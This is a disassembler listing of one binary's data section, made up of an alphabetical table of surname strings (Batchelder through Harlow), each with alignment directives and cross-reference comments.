aBatchelder	db 'Batchelder',0       ; DATA XREF: .XComp0:004452A0o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .XComp0:004452A4o
		align 10h
aBayles		db 'Bayles',0           ; DATA XREF: .XComp0:004452A8o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .XComp0:004452ACo
		align 10h
aBeacon		db 'Beacon',0           ; DATA XREF: .XComp0:004452B0o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .XComp0:004452B4o
		align 10h
aBean		db 'Bean',0             ; DATA XREF: .XComp0:004452B8o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .XComp0:004452BCo
aBeder		db 'Beder',0            ; DATA XREF: .XComp0:004452C0o
		align 4
aBedford	db 'Bedford',0          ; DATA XREF: .XComp0:004452C4o
aBehenna	db 'Behenna',0          ; DATA XREF: .XComp0:004452C8o
aBelanger	db 'Belanger',0         ; DATA XREF: .XComp0:004452CCo
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .XComp0:004452D0o
		align 10h
aBelfer		db 'Belfer',0           ; DATA XREF: .XComp0:004452D4o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .XComp0:004452D8o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .XComp0:004452DCo
		align 4
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .XComp0:004452E0o
		align 10h
aBellini	db 'Bellini',0          ; DATA XREF: .XComp0:004452E4o
aBelloc		db 'Belloc',0           ; DATA XREF: .XComp0:004452E8o
		align 10h
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .XComp0:004452ECo
		align 10h
aBergson	db 'Bergson',0          ; DATA XREF: .XComp0:004452F0o
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .XComp0:004452F4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .XComp0:004452F8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .XComp0:004452FCo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: .XComp0:00445300o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .XComp0:00445304o
		align 4
aBetti		db 'Betti',0            ; DATA XREF: .XComp0:00445308o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .XComp0:0044530Co
aBiagioli	db 'Biagioli',0         ; DATA XREF: .XComp0:00445310o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .XComp0:00445314o
		align 10h
aBinion		db 'Binion',0           ; DATA XREF: .XComp0:00445318o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .XComp0:0044531Co
aBisema		db 'Bisema',0           ; DATA XREF: .XComp0:00445320o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .XComp0:00445324o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .XComp0:00445328o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .XComp0:0044532Co
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .XComp0:00445330o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .XComp0:00445334o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .XComp0:00445338o
		align 10h
aBliss		db 'Bliss',0            ; DATA XREF: .XComp0:0044533Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .XComp0:00445340o
aBloch		db 'Bloch',0            ; DATA XREF: .XComp0:off_445344o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .XComp0:00445348o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .XComp0:0044534Co
		align 10h
aBloxham	db 'Bloxham',0          ; DATA XREF: .XComp0:00445350o
aBlyth		db 'Blyth',0            ; DATA XREF: .XComp0:00445354o
		align 10h
aBolger		db 'Bolger',0           ; DATA XREF: .XComp0:00445358o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .XComp0:0044535Co
		align 10h
aBollinger	db 'Bollinger',0        ; DATA XREF: .XComp0:00445360o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .XComp0:00445364o
aBoner		db 'Boner',0            ; DATA XREF: .XComp0:00445368o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .XComp0:0044536Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .XComp0:00445370o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: .XComp0:00445374o
		align 4
aBook		db 'Book',0             ; DATA XREF: .XComp0:00445378o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .XComp0:0044537Co
		align 10h
aBoone		db 'Boone',0            ; DATA XREF: .XComp0:00445380o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .XComp0:00445384o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .XComp0:00445388o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .XComp0:0044538Co
		align 4
aBossi		db 'Bossi',0            ; DATA XREF: .XComp0:00445390o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .XComp0:00445394o
aBotosh		db 'Botosh',0           ; DATA XREF: .XComp0:00445398o
		align 4
aBoudin		db 'Boudin',0           ; DATA XREF: .XComp0:0044539Co
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .XComp0:004453A0o
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .XComp0:004453A4o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .XComp0:004453A8o
		align 10h
aBoxer		db 'Boxer',0            ; DATA XREF: .XComp0:004453ACo
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .XComp0:004453B0o
		align 4
aBoyes		db 'Boyes',0            ; DATA XREF: .XComp0:004453B4o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .XComp0:004453B8o
aBoym		db 'Boym',0             ; DATA XREF: .XComp0:004453BCo
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .XComp0:004453C0o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .XComp0:004453C4o
		align 10h
aBradac		db 'Bradac',0           ; DATA XREF: .XComp0:004453C8o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .XComp0:004453CCo
aBrecht		db 'Brecht',0           ; DATA XREF: .XComp0:004453D0o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .XComp0:004453D4o
		align 10h
aBrenan		db 'Brenan',0           ; DATA XREF: .XComp0:004453D8o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .XComp0:004453DCo
aBrewer		db 'Brewer',0           ; DATA XREF: .XComp0:004453E0o
		align 4
aBrewer_0	db 'Brewer',0           ; DATA XREF: .XComp0:004453E4o
		align 10h
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .XComp0:004453E8o
		align 4
aBridges	db 'Bridges',0          ; DATA XREF: .XComp0:004453ECo
aBrinton	db 'Brinton',0          ; DATA XREF: .XComp0:004453F0o
aBritz		db 'Britz',0            ; DATA XREF: .XComp0:004453F4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .XComp0:004453F8o
		align 4
aBrook		db 'Brook',0            ; DATA XREF: .XComp0:004453FCo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .XComp0:00445400o
aBuchan		db 'Buchan',0           ; DATA XREF: .XComp0:00445404o
		align 4
aBudding	db 'Budding',0          ; DATA XREF: .XComp0:00445408o
aBullard	db 'Bullard',0          ; DATA XREF: .XComp0:0044540Co
aBunton		db 'Bunton',0           ; DATA XREF: .XComp0:00445410o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .XComp0:00445414o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .XComp0:00445418o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .XComp0:0044541Co
		align 4
aBurridge	db 'Burridge',0         ; DATA XREF: .XComp0:00445420o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: .XComp0:00445424o
aByatt		db 'Byatt',0            ; DATA XREF: .XComp0:00445428o
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: .XComp0:0044542Co
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .XComp0:00445430o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: .XComp0:00445434o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .XComp0:00445438o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .XComp0:0044543Co
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .XComp0:00445440o
		align 4
aCanley		db 'Canley',0           ; DATA XREF: .XComp0:00445444o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: .XComp0:00445448o
aCaperton	db 'Caperton',0         ; DATA XREF: .XComp0:0044544Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .XComp0:00445450o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .XComp0:00445454o
		align 4
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .XComp0:00445458o
		align 4
aCapursi	db 'Capursi',0          ; DATA XREF: .XComp0:0044545Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .XComp0:00445460o
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .XComp0:00445464o
aCarlin		db 'Carlin',0           ; DATA XREF: .XComp0:00445468o
		align 4
aCarlos		db 'Carlos',0           ; DATA XREF: .XComp0:0044546Co
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .XComp0:00445470o
aCarmichael	db 'Carmichael',0       ; DATA XREF: .XComp0:00445474o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: .XComp0:00445478o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .XComp0:0044547Co
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .XComp0:00445480o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .XComp0:00445484o
		align 4
aCase		db 'Case',0             ; DATA XREF: .XComp0:00445488o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .XComp0:0044548Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .XComp0:00445490o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .XComp0:00445494o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .XComp0:00445498o
		align 4
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .XComp0:0044549Co
		align 10h
aCerioli	db 'Cerioli',0          ; DATA XREF: .XComp0:004454A0o
aChapman	db 'Chapman',0          ; DATA XREF: .XComp0:004454A4o
aCharles	db 'Charles',0          ; DATA XREF: .XComp0:004454A8o
aCheang		db 'Cheang',0           ; DATA XREF: .XComp0:004454ACo
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: .XComp0:004454B0o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .XComp0:004454B4o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .XComp0:004454B8o
		align 10h
aChien		db 'Chien',0            ; DATA XREF: .XComp0:004454BCo
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .XComp0:004454C0o
		align 4
aChilds		db 'Childs',0           ; DATA XREF: .XComp0:004454C4o
		align 4
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .XComp0:004454C8o
aChinman	db 'Chinman',0          ; DATA XREF: .XComp0:004454CCo
aChristenson	db 'Christenson',0      ; DATA XREF: .XComp0:004454D0o
aChristian	db 'Christian',0        ; DATA XREF: .XComp0:004454D4o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .XComp0:004454D8o
		align 4
aChristie	db 'Christie',0         ; DATA XREF: .XComp0:004454DCo
		align 10h
aChristopher	db 'Christopher',0      ; DATA XREF: .XComp0:004454E0o
aChu		db 'Chu',0              ; DATA XREF: .XComp0:004454E4o
aChupasko	db 'Chupasko',0         ; DATA XREF: .XComp0:004454E8o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .XComp0:004454ECo
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .XComp0:004454F0o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: .XComp0:004454F4o
		align 4
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .XComp0:004454F8o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .XComp0:004454FCo
aClancy		db 'Clancy',0           ; DATA XREF: .XComp0:00445500o
		align 4
aClark		db 'Clark',0            ; DATA XREF: .XComp0:00445504o
		align 4
aClement	db 'Clement',0          ; DATA XREF: .XComp0:00445508o
aClifton	db 'Clifton',0          ; DATA XREF: .XComp0:0044550Co
aClow		db 'Clow',0             ; DATA XREF: .XComp0:00445510o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .XComp0:00445514o
aCoito		db 'Coito',0            ; DATA XREF: .XComp0:00445518o
		align 4
aColdren	db 'Coldren',0          ; DATA XREF: .XComp0:0044551Co
aColella	db 'Colella',0          ; DATA XREF: .XComp0:00445520o
aCollard	db 'Collard',0          ; DATA XREF: .XComp0:00445524o
aCollis		db 'Collis',0           ; DATA XREF: .XComp0:00445528o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .XComp0:0044552Co
aCompton_0	db 'Compton',0          ; DATA XREF: .XComp0:00445530o
aComstock	db 'Comstock',0         ; DATA XREF: .XComp0:00445534o
		align 10h
aConcino	db 'Concino',0          ; DATA XREF: .XComp0:00445538o
aCondodina	db 'Condodina',0        ; DATA XREF: .XComp0:0044553Co
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .XComp0:00445540o
aCorey		db 'Corey',0            ; DATA XREF: .XComp0:00445544o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .XComp0:00445548o
aCosmides	db 'Cosmides',0         ; DATA XREF: .XComp0:0044554Co
		align 4
aCounter	db 'Counter',0          ; DATA XREF: .XComp0:00445550o
aCoutaux	db 'Coutaux',0          ; DATA XREF: .XComp0:00445554o
aCrawford	db 'Crawford',0         ; DATA XREF: .XComp0:00445558o
		align 4
aCrocker	db 'Crocker',0          ; DATA XREF: .XComp0:0044555Co
aCroshaw	db 'Croshaw',0          ; DATA XREF: .XComp0:00445560o
aCroxen		db 'Croxen',0           ; DATA XREF: .XComp0:00445564o
		align 4
aCroxton	db 'Croxton',0          ; DATA XREF: .XComp0:00445568o
aCui		db 'Cui',0              ; DATA XREF: .XComp0:0044556Co
aCurrier	db 'Currier',0          ; DATA XREF: .XComp0:00445570o
aCutler		db 'Cutler',0           ; DATA XREF: .XComp0:00445574o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .XComp0:00445578o
		align 10h
aCyders		db 'Cyders',0           ; DATA XREF: .XComp0:0044557Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .XComp0:00445580o
aDaldalian	db 'Daldalian',0        ; DATA XREF: .XComp0:00445584o
		align 4
aDaly		db 'Daly',0             ; DATA XREF: .XComp0:00445588o
		align 4
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .XComp0:0044558Co
aDanieli	db 'Danieli',0          ; DATA XREF: .XComp0:00445590o
aDante		db 'Dante',0            ; DATA XREF: .XComp0:00445594o
		align 4
aDapice		db 'Dapice',0           ; DATA XREF: .XComp0:00445598o
		align 4
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .XComp0:0044559Co
aDas		db 'Das',0              ; DATA XREF: .XComp0:004455A0o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .XComp0:004455A4o
		align 10h
aDaskalu	db 'Daskalu',0          ; DATA XREF: .XComp0:004455A8o
aDavid		db 'David',0            ; DATA XREF: .XComp0:004455ACo
		align 10h
aDawkins	db 'Dawkins',0          ; DATA XREF: .XComp0:004455B0o
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .XComp0:004455B4o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .XComp0:004455B8o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .XComp0:004455BCo
		align 4
aDerousse	db 'deRousse',0         ; DATA XREF: .XComp0:004455C0o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .XComp0:004455C4o
aDees		db 'Dees',0             ; DATA XREF: .XComp0:004455C8o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .XComp0:004455CCo
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .XComp0:004455D0o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .XComp0:004455D4o
		align 10h
aDelger		db 'Delger',0           ; DATA XREF: .XComp0:004455D8o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .XComp0:004455DCo
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .XComp0:004455E0o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .XComp0:004455E4o
		align 4
aDemusz		db 'Demusz',0           ; DATA XREF: .XComp0:004455E8o
		align 10h
aDenault	db 'Denault',0          ; DATA XREF: .XComp0:004455ECo
aDenham		db 'Denham',0           ; DATA XREF: .XComp0:004455F0o
		align 10h
aDenison	db 'Denison',0          ; DATA XREF: .XComp0:004455F4o
aDesombre	db 'Desombre',0         ; DATA XREF: .XComp0:004455F8o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .XComp0:004455FCo
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .XComp0:00445600o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .XComp0:00445604o
		align 4
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .XComp0:00445608o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .XComp0:0044560Co
aDifronzo	db 'Difronzo',0         ; DATA XREF: .XComp0:00445610o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .XComp0:00445614o
		align 4
aDionysius	db 'Dionysius',0        ; DATA XREF: .XComp0:00445618o
		align 4
aDirksen	db 'Dirksen',0          ; DATA XREF: .XComp0:0044561Co
aDockery	db 'Dockery',0          ; DATA XREF: .XComp0:00445620o
aDoherty	db 'Doherty',0          ; DATA XREF: .XComp0:00445624o
aDonahue	db 'Donahue',0          ; DATA XREF: .XComp0:00445628o
aDonner		db 'Donner',0           ; DATA XREF: .XComp0:0044562Co
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .XComp0:00445630o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .XComp0:00445634o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .XComp0:00445638o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .XComp0:0044563Co
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .XComp0:00445640o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .XComp0:00445644o
		align 4
aDowsland	db 'Dowsland',0         ; DATA XREF: .XComp0:00445648o
		align 4
aDrinker	db 'Drinker',0          ; DATA XREF: .XComp0:0044564Co
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .XComp0:00445650o
aDuffin		db 'Duffin',0           ; DATA XREF: .XComp0:00445654o
		align 10h
aDurrett	db 'Durrett',0          ; DATA XREF: .XComp0:00445658o
aDussault	db 'Dussault',0         ; DATA XREF: .XComp0:0044565Co
		align 4
aDwyer		db 'Dwyer',0            ; DATA XREF: .XComp0:00445660o
		align 4
aEardley	db 'Eardley',0          ; DATA XREF: .XComp0:00445664o
aEbeling	db 'Ebeling',0          ; DATA XREF: .XComp0:00445668o
aEckel		db 'Eckel',0            ; DATA XREF: .XComp0:0044566Co
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .XComp0:00445670o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .XComp0:00445674o
		align 4
aEdward		db 'Edward',0           ; DATA XREF: .XComp0:00445678o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .XComp0:0044567Co
aEliasson	db 'Eliasson',0         ; DATA XREF: .XComp0:00445680o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .XComp0:00445684o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: .XComp0:00445688o
		align 4
aElvis		db 'Elvis',0            ; DATA XREF: .XComp0:0044568Co
		align 4
aEncinas	db 'Encinas',0          ; DATA XREF: .XComp0:00445690o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .XComp0:00445694o
aEppling	db 'Eppling',0          ; DATA XREF: .XComp0:00445698o
aErbach		db 'Erbach',0           ; DATA XREF: .XComp0:0044569Co
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .XComp0:004456A0o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .XComp0:004456A4o
		align 4
aErez		db 'Erez',0             ; DATA XREF: .XComp0:004456A8o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .XComp0:004456ACo
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .XComp0:004456B0o
		align 10h
aEtter		db 'Etter',0            ; DATA XREF: .XComp0:004456B4o
		align 4
aEuripides	db 'Euripides',0        ; DATA XREF: .XComp0:004456B8o
		align 4
aEverett	db 'Everett',0          ; DATA XREF: .XComp0:004456BCo
aFabbris	db 'Fabbris',0          ; DATA XREF: .XComp0:004456C0o
aFagan		db 'Fagan',0            ; DATA XREF: .XComp0:004456C4o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .XComp0:004456C8o
		align 4
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .XComp0:004456CCo
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .XComp0:004456D0o
aFaris		db 'Faris',0            ; DATA XREF: .XComp0:004456D4o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .XComp0:004456D8o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .XComp0:004456DCo
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .XComp0:004456E0o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .XComp0:004456E4o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .XComp0:004456E8o
		align 10h
aFejzo		db 'Fejzo',0            ; DATA XREF: .XComp0:004456ECo
		align 4
aFeldman	db 'Feldman',0          ; DATA XREF: .XComp0:004456F0o
aFernald	db 'Fernald',0          ; DATA XREF: .XComp0:004456F4o
aFernandes	db 'Fernandes',0        ; DATA XREF: .XComp0:004456F8o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .XComp0:004456FCo
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: .XComp0:00445700o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .XComp0:00445704o
		align 4
aFido		db 'Fido',0             ; DATA XREF: .XComp0:00445708o
		align 4
aField		db 'Field',0            ; DATA XREF: .XComp0:0044570Co
		align 4
aFink		db 'Fink',0             ; DATA XREF: .XComp0:00445710o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .XComp0:00445714o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .XComp0:00445718o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .XComp0:0044571Co
aFisk		db 'Fisk',0             ; DATA XREF: .XComp0:00445720o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .XComp0:00445724o
aFlier		db 'Flier',0            ; DATA XREF: .XComp0:00445728o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .XComp0:0044572Co
		align 10h
aFolks		db 'Folks',0            ; DATA XREF: .XComp0:00445730o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .XComp0:00445734o
		align 4
aFortes		db 'Fortes',0           ; DATA XREF: .XComp0:00445738o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .XComp0:0044573Co
aFossey		db 'Fossey',0           ; DATA XREF: .XComp0:00445740o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .XComp0:00445744o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .XComp0:00445748o
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .XComp0:0044574Co
		align 10h
aFranz		db 'Franz',0            ; DATA XREF: .XComp0:off_445750o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .XComp0:00445754o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .XComp0:00445758o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: .XComp0:0044575Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: .XComp0:00445760o
		align 4
aFriedland	db 'Friedland',0        ; DATA XREF: .XComp0:00445764o
		align 10h
aFrisken	db 'Frisken',0          ; DATA XREF: .XComp0:00445768o
aFrowiss	db 'Frowiss',0          ; DATA XREF: .XComp0:0044576Co
aFryberger	db 'Fryberger',0        ; DATA XREF: .XComp0:00445770o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .XComp0:00445774o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .XComp0:00445778o
		align 10h
aFuller		db 'Fuller',0           ; DATA XREF: .XComp0:0044577Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .XComp0:00445780o
		align 10h
aFusaro		db 'Fusaro',0           ; DATA XREF: .XComp0:00445784o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .XComp0:00445788o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .XComp0:0044578Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: .XComp0:00445790o
		align 4
aGalwey		db 'Galwey',0           ; DATA XREF: .XComp0:00445794o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .XComp0:00445798o
aGarfield	db 'Garfield',0         ; DATA XREF: .XComp0:0044579Co
		align 4
aGarman		db 'Garman',0           ; DATA XREF: .XComp0:004457A0o
		align 10h
aGaronna	db 'Garonna',0          ; DATA XREF: .XComp0:004457A4o
aGeller		db 'Geller',0           ; DATA XREF: .XComp0:004457A8o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: .XComp0:004457ACo
		align 4
aGeorgi		db 'Georgi',0           ; DATA XREF: .XComp0:004457B0o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .XComp0:004457B4o
aGhorai		db 'Ghorai',0           ; DATA XREF: .XComp0:004457B8o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .XComp0:004457BCo
aGibson		db 'Gibson',0           ; DATA XREF: .XComp0:004457C0o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .XComp0:004457C4o
aGili		db 'Gili',0             ; DATA XREF: .XComp0:004457C8o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .XComp0:004457CCo
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .XComp0:004457D0o
		align 4
aGist		db 'Gist',0             ; DATA XREF: .XComp0:004457D4o
		align 10h
aGleason	db 'Gleason',0          ; DATA XREF: .XComp0:004457D8o
aGlegg		db 'Glegg',0            ; DATA XREF: .XComp0:004457DCo
		align 10h
aGlendon	db 'Glendon',0          ; DATA XREF: .XComp0:004457E0o
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .XComp0:004457E4o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .XComp0:004457E8o
		align 10h
aGood		db 'Good',0             ; DATA XREF: .XComp0:004457ECo
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .XComp0:004457F0o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .XComp0:004457F4o
		align 4
aGozzi		db 'Gozzi',0            ; DATA XREF: .XComp0:004457F8o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .XComp0:004457FCo
aGreenberg	db 'Greenberg',0        ; DATA XREF: .XComp0:00445800o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .XComp0:00445804o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .XComp0:00445808o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .XComp0:0044580Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .XComp0:00445810o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .XComp0:00445814o
		align 10h
aGruppe		db 'Gruppe',0           ; DATA XREF: .XComp0:00445818o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .XComp0:0044581Co
		align 4
aGunn		db 'Gunn',0             ; DATA XREF: .XComp0:00445820o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .XComp0:00445824o
aHa		db 'Ha',0               ; DATA XREF: .XComp0:00445828o
		align 4
aHaar		db 'Haar',0             ; DATA XREF: .XComp0:0044582Co
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .XComp0:00445830o
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .XComp0:00445834o
		align 10h
aHaley		db 'Haley',0            ; DATA XREF: .XComp0:00445838o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .XComp0:0044583Co
aHallowell	db 'Hallowell',0        ; DATA XREF: .XComp0:00445840o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .XComp0:00445844o
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .XComp0:00445848o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .XComp0:0044584Co
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .XComp0:00445850o
		align 4
aHand		db 'Hand',0             ; DATA XREF: .XComp0:00445854o
		align 10h
aHanssen	db 'Hanssen',0          ; DATA XREF: .XComp0:00445858o
aHarding	db 'Harding',0          ; DATA XREF: .XComp0:0044585Co
aHargraves	db 'Hargraves',0        ; DATA XREF: .XComp0:00445860o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .XComp0:00445864o
		align 4
